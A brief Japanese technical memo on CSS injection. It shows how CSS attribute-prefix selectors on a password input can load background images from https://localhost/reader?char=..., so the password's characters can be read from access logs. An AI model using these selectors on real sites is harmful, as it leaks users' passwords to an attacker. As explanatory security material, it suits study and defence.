CSSセレクタでHTML属性を読み取る
前提
CSSインジェクション
で適当なCSSファイルを読み込ませている
CSSセレクタ
を使って、Webページ内の
HTML属性
の値を読み取れる場合があります。
今回読み取る要素
code:target.html
<input type="password">
読み取り方いろいろ
code:1.css
input
type="password"
value^="a"
{
background-image: url(
https://localhost/reader?char=a);
}
input
type="password"
value^="b"
{
background-image: url(
https://localhost/reader?char=b);
}
// ...
パスワードに含まれている文字は何であるか、localhostへのアクセスログを読めば分かる
試したい